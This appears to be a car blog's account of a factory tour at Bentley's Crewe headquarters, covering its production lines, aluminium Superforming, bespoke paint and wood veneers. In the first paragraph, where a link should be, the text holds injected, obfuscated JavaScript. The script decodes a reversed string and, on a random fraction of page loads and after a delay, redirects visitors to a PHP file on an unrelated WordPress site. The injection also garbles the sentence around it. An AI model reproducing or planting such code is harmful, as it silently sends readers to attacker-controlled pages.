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It’s raining as I pull up outside Bentley headquarters in Crewe (UK). Quite heavily in fact. You’d be forgiven then for thinking that this – if you’ll pardon the pun – puts something of a dampener on the weekend. On the one hand that’s true, since said weekend has $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/bentley-continental-gtc-travel-blog-the-crowd-pleaser/” target=”_blank”>just been spent driving and enjoying the Continental GTC that the Bentley’s PR boys and girls has kindly provided me with. As well as turn a few heads at my brother’s wedding, it’s also proven a hoot through some of Northern England’s finest country roads.
On the other hand though, these last few days have principally been a prelude for today. You see, the good people at Bentley have also invited crankandpiston to take a tour of its factory, an offer that I was more than happy to accept.
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The rain, which abates momentarily while I find a parking space, resumes its ferocious pace almost as soon as I open the GTC’s door and swing a leg out. It may only be a quick sprint to Bentley GHQ, but my jacket and shirt have already received a pounding from the elements by the time I hare through the front doors.
After squelching my way across the almost impossibly clean reception area – and apologized to the team for the wet footprints that have followed me in – I’m met by Steve and John, who will be acting as tour guides today. Between them they have amassed nearly 56 years worth of experience at Bentley and worked in most of the factory’s departments, so they are well primed for any questions I may throw at them.
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Just behind them is a trophy case lining the wall, which is chock full of awards and other accolades boasting words like ’Best’ and ‘Most’, and taking centre stage amongst them is Bentley’s 24 Hours of Le Mans winner’s trophy from 2003. A gentle tug at my drying shirtsleeve assures me that there’s plenty more for me to look at inside, and I soon follow the guys into the factory proper.
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The tour itself ironically begins at the end of the Mulsanne production line, which is also for security reasons where crankandpiston’s photography must take a brief hiatus. Standing before us awaiting their final inspections are six completed Mulsannes, each of which has a sheet of paper on its windscreen adorned with just three words: ‘Do Not Lean’. These models have spent 12 weeks in the making, and one imagines a scratch from a rogue belt buckle wouldn’t go down particularly well.
We begin the long walk line side, and while Steve immediately leaps into action describing the ins and outs of the various stations en-route, John intermittently throws in a “did you know…?” concerning the installation of a dashboard here and the mechanics of rear light clusters there.
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Both also draw attention to the ‘hand built’ ethos of the Crewe operation. The sea of automatic arms one normally associates with market-leading car factories for instance is nowhere to be seen. Yes, the overhead conveyor remains so that each chassis can be transported incident-free from luxury pillar-to-refined post. And weight-sensitive tasks such as mounting all four doors and the ‘engine marriage’ between the hulking 6¾l V8 and the bodyshell require mechanical assistance through sheer necessity. Make no mistake though, British Racing Green polo shirts outnumber silver mechanical arms by quite a margin here.
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We’re halfway down the Mulsanne line, and the sheer size of the operation is frankly staggering. The Crewe factory has remained Bentley’s headquarters since the doors first flew open in 1937. Located but a stone’s throw away from a vast road and rail network, the site was a huge advantage for the newly-established Bentley Motors Limited. Vast investment, plus the company’s deep-seated commitment to heritage, means that finding an alternative site away from Crewe is unthinkable. And yet development of the surrounding area by other investors coupled with an ever-strengthening customer demand means optimizing available space is a top priority.
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Take the GT line, for example. On average, this will hold 70 Continental models at any one time and – given the attention to detail involved in the production of each – will move only once every 12 minutes or so. This is both larger and faster than the Mulsanne side of the operation that lines the factory walls, which holds just 20 of the luxury models and moves once every 45 minutes. Requiring more room, the GT production line must therefore snake itself around the inside of the Mulsanne line without upsetting either build process.
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There’s more. Assembly benches must also be within easy reach of their relevant segment of the build, thus ensuring that time is not wasted moving panels and finished components from A to B. Raw materials are checked out of the warehouse in the order they arrived to ensure a consistent turnaround of stock. Also of note, no station receives more than its daily requirement of equipment (plus spares), consequently allowing more focus and attention to be paid to each build. Having spent $11 million on building development and $20 million on equipment, Bentley is keen to make sure its investments are being used intelligently.
Steve, John and I make our way out of a door at the back, across the forecourt, and into a no less impressive (though slightly more up-to-date) edifice to take a look at the production lines from above. We also discover that John, who is conducting his first factory tour today, needs a few more access codes on his security pass before he can begin flying solo.
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From our loftier position, we get a good view of a newly assembled Mulsanne bodyshell being prepared for the paint shop. Pointing to the example directly below us, Steve highlights the seamless sweep of the roofline and the absence of panel joints in the shell’s C-Pillars. This is made possible by a technique called Superforming in which the aluminium base material is heated to 500 degrees (near boiling point) to make the material more pliable, yet simultaneously no weaker. The aluminium is then air blown into its respective mould, thus creating flawless contours without the need to spot-weld two separate panels together.
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Astonishingly, a completed Mulsanne bodyshell requires 125 man-hours to build. Un-astonishingly, we see similar attention to detail being paid when the completed unit is sent to be painted, a process that involves several layers of lacquer being applied robotically before craftsmen and women add up to five coats of paint. Again, by hand.
The Mulsanne alone is available in 218 bespoke colours, but Steve lifts up his tie and explains, “you can come to Crewe, ask Bentley to paint your Mulsanne the same colour as your suit or tie, and we can do it”. Part of me is amazed at this undertaking. Another wonders with a grimace what colours some customers have asked for in the past. And yet another isn’t too sure it wants to know for fear of being too judgemental.
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Next we hit the woodshop, or part of it at least. Owing to a ‘pigeon problem’ (the details of which the guys smilingly would prefer not to go into), the contents of the storage facility have been temporarily relocated out of harms way. It’s tempting to poke fun, but the situation is understandable given the quality of materials at risk. Walnut. Chestnut. Ash. Sheets and sheets are stacked one atop the other in the storage unit, all paper thin, and all over 20 years old. Steve explains that each sheet, or veneer, is derived from a root ball (essentially a tree’s epicenter) where the graining is richer and the pattern more distinct.
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Nature doesn’t always play ball, and a lot of the wood that comes through Bentley’s double glass doors does not conform to the company’s high standards. Longstanding arrangements with European furniture makers though mean that, as John mentions, “nothing is wasted”. It’s a big nod to Bentley’s ever-developing green initiative.
